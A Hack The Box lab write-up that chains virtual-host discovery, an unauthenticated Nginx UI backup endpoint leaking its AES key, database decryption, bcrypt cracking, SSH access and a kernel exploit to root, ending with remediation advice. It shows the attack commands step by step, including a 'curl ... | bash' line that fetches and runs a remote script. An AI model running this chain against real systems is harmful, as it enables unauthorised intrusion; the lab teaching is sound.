Skip to content

Snapped — Pre-Authentication Backup Disclosure and Encryption-Key Leak

Tools
nmap, feroxbuster, gobuster, curl, openssl, unzip, sqlite3, hashcat, ssh, python3
Skill demonstrated
Web trust-boundary analysis and offline credential recovery
Tags
  • linux
  • web
  • cve
  • nginx
  • credential-recovery
  • privilege-escalation
Field Value
Difficulty Hard
Target environment Ubuntu Linux; OpenSSH 9.6p1, nginx 1.24.0, Nginx UI 2.3.2
Starting position Unauthenticated network access
Objective Exploit an unauthenticated backup endpoint that leaks its own AES key material to recover an SSH credential, then escalate to root
Outcome SSH user shell from a cracked application password hash; root via a local kernel vulnerability

Snapped is a Hard-rated Hack The Box Linux lab exposing SSH and an Nginx-hosted web service. Virtual-host enumeration uncovers an administrative subdomain running Nginx UI, whose exact version is disclosed by client-side JavaScript. A backup endpoint reachable without authentication returns the AES key and IV needed to decrypt its own backup in a response header; decrypting the application database yields bcrypt password hashes, and cracking one provides SSH access as a low-privileged user. Local CVE enumeration then identifies a kernel vulnerability that provides root. Target and operator addresses, hostnames, credentials, hash values, and backup key material are replaced with role-based placeholders; command syntax is preserved.

Attack path: Virtual-host discovery → Nginx UI version disclosure → unauthenticated backup endpoint leaking AES key/IV → database decryption → bcrypt hash cracking → SSH user access → local kernel CVE → root

  • Target: an Ubuntu host exposing OpenSSH 9.6p1 and nginx 1.24.0.
  • Starting position: unauthenticated network access, with no provided credentials.
  • Objective: discover the real administrative surface, recover application-authentication material from an unauthenticated backup feature, turn it into system access, and assess local privilege escalation.
  • Constraints: activity was confined to the Hack The Box lab environment.

Observation: a full TCP scan exposes two services, and the web service redirects to a hostname that is the only route to the application.

Terminal window
nmap <TARGET_IP> --ulimit 5000 -p- -Pn -sC -sV -oN <SCAN_OUTPUT>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://<PRIMARY_VHOST>/

Directory enumeration against the primary host returns little beyond static content:

Terminal window
feroxbuster --url http://<PRIMARY_VHOST> --wordlist /usr/share/seclists/Discovery/Web-Content/common.txt
200 GET 553l 1927w 17808c http://<PRIMARY_VHOST>/style.css
200 GET 539l 1856w 20199c http://<PRIMARY_VHOST>/

The host is then fuzzed for virtual hosts, which exposes an administrative subdomain:

Terminal window
gobuster vhost \
--url http://<PRIMARY_VHOST> \
--wordlist /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
--append-domain
<ADMIN_VHOST> Status: 200 [Size: 1407]

Significance: the redirect reveals the primary hostname, but the primary vhost serves little beyond a stylesheet; virtual-host enumeration reaches an administrative interface that directory brute-force does not, and the interface is an Nginx UI instance.

Result: SSH and HTTP are exposed, and the administrative interface at <ADMIN_VHOST> is identified.

Observation: the administrative interface is a single-page application whose client-side JavaScript references separate version files.

Terminal window
curl -s http://<ADMIN_VHOST>/assets/<APPLICATION_SCRIPT> | grep -oP 'version[-\w]*\.js'
<VERSION_SCRIPT>
Terminal window
curl -s http://<ADMIN_VHOST>/assets/<VERSION_SCRIPT>
const t="2.3.2";const o={version:t,build_id:1,total_build:512};export{o as a,t as v};

Significance: a version file reachable without authentication makes precise vulnerability mapping trivial. Nginx UI 2.3.2 predates the fix for CVE-2026-27944 (fixed in 2.3.3), an unauthenticated backup endpoint that discloses its own decryption keys.

Result: Nginx UI 2.3.2 is identified and mapped to CVE-2026-27944.

3. Backup Disclosure and Database Decryption

Section titled “3. Backup Disclosure and Database Decryption”

Observation: the unauthenticated backup endpoint returns a response header carrying both the AES-256-CBC key and the IV used to encrypt the backup.

Terminal window
grep -i '^X-Backup-Security:' headers.txt
X-Backup-Security: <BACKUP_KEY_BASE64>:<BACKUP_IV_BASE64>

The two Base64 values are converted to hex for OpenSSL, then the backup artifacts are decrypted with the leaked key material:

Terminal window
export KEY_B64='<BACKUP_KEY_BASE64>'
export IV_B64='<BACKUP_IV_BASE64>'
KEY_HEX=$(printf '%s' "$KEY_B64" | base64 -d | xxd -p -c 0)
IV_HEX=$(printf '%s' "$IV_B64" | base64 -d | xxd -p -c 0)
unzip backup.zip -d backup
openssl enc -aes-256-cbc -d \
-in backup/<ENCRYPTED_ARCHIVE> \
-out <DECRYPTED_ARCHIVE> \
-K "$KEY_HEX" \
-iv "$IV_HEX"
unzip <DECRYPTED_ARCHIVE> -d <EXTRACTED_DIR>

Significance: the endpoint returns the encrypted backup while the header discloses the key and IV that protect it, so the backup’s confidentiality depends entirely on the endpoint being unauthenticated.

Result: the backup decrypts with the leaked key material, and the application SQLite database is recovered.

Observation: the recovered database stores account password verifiers.

Terminal window
sqlite3 <APPLICATION_DATABASE> 'select name,password from users;'
<ADMIN_ACCOUNT>|<PASSWORD_VERIFIER_1>
<LAB_USER>|<PASSWORD_VERIFIER_2>

The verifiers are bcrypt hashes, and offline recovery with Hashcat’s bcrypt mode (-m 3200) recovers one cleartext password:

Terminal window
hashcat <HASH_FILE> /usr/share/wordlists/rockyou.txt -m 3200
<LAB_USER> : <LAB_USER_PASSWORD>

The recovered credential authenticates over SSH:

Terminal window
ssh <LAB_USER>@<PRIMARY_VHOST>
<LAB_USER>@<HOST>:~$ whoami
<LAB_USER>

Significance: the application-stored verifier matches the host account’s password, so cracking one hash crosses the application/system trust boundary. bcrypt is intentionally slow, but the account’s password is weak enough to recover from a common wordlist.

Result: SSH authentication succeeds and yields a user-level shell as <LAB_USER>.

5. Local Privilege Escalation — Kernel CVE

Section titled “5. Local Privilege Escalation — Kernel CVE”

Observation: local enumeration checks the host for known kernel vulnerabilities.

A hosted enumeration script is retrieved and run; the URL is summarized rather than shown:

Terminal window
curl -sL <CVE_ENUM_SCRIPT_URL> | bash
[!] cve-2026-31431 Test for the Copy Fail vulnerability.................... yes!

The flagged vulnerability is then exercised with a local proof-of-concept:

Terminal window
python3 <EXPLOIT_SCRIPT>
# whoami
root

Significance: the enumeration script reports CVE-2026-31431, a Linux kernel crypto-interface flaw referred to as “Copy Fail,” and the proof-of-concept turns that local access into a root shell. The exploit is transferred from the operator host and run locally; its source is summarized rather than reproduced.

Result: the proof-of-concept returns a root shell, confirmed by whoami.

Challenge Decision Rationale
The primary vhost exposed only static content Moved from directory enumeration to virtual-host fuzzing Directory brute-force did not reveal the administrative interface carried on a subdomain
Backup artifacts were encrypted Decrypted them with the AES key and IV leaked in the same response header The key material was disclosed by the unauthenticated backup endpoint itself

The evidence establishes unauthenticated access to an application backup endpoint, recovery of an SSH credential, and SSH access as <LAB_USER>, plus a root shell from a local kernel proof-of-concept. The privilege-escalation exploit is summarized rather than reproduced.

Each finding pairs the observed root cause with its demonstrated impact and a prioritized action. The actions are recommendations; none was validated in the lab.

  1. Unauthenticated backup endpoint exposing key material. The backup endpoint required no authentication and returned the AES key and IV in the X-Backup-Security header, so an unauthenticated party could decrypt a full system backup. Recommendation: require authentication and authorization on backup endpoints, deliver encryption keys out-of-band rather than in the response, and treat backups as sensitive data. Detection: alert on unauthenticated access to backup endpoints and on backup downloads.
  2. Application-stored credential reused for system access. The database stored a bcrypt password verifier whose cleartext also authenticated over SSH, so one crack crossed the application/system boundary. Recommendation: enforce strong, unique passwords and never reuse application credentials for host accounts; prefer key-based SSH. Detection: flag shared credentials across services and monitor for authentication from unexpected sources.
  3. Version disclosure easing CVE mapping. Client-side JavaScript exposed the exact application version, making vulnerability identification straightforward once the interface was found. Recommendation: apply security patches promptly and minimize exposed version and build detail. Detection: inventory externally reachable application versions and compare them against vendor advisories.
  4. Unpatched local kernel vulnerability. CVE-2026-31431 allowed a local user to escalate to root. Recommendation: track and apply kernel security updates. Detection: run periodic local vulnerability checks and correlate the results with patch status.
Edit page

Last updated: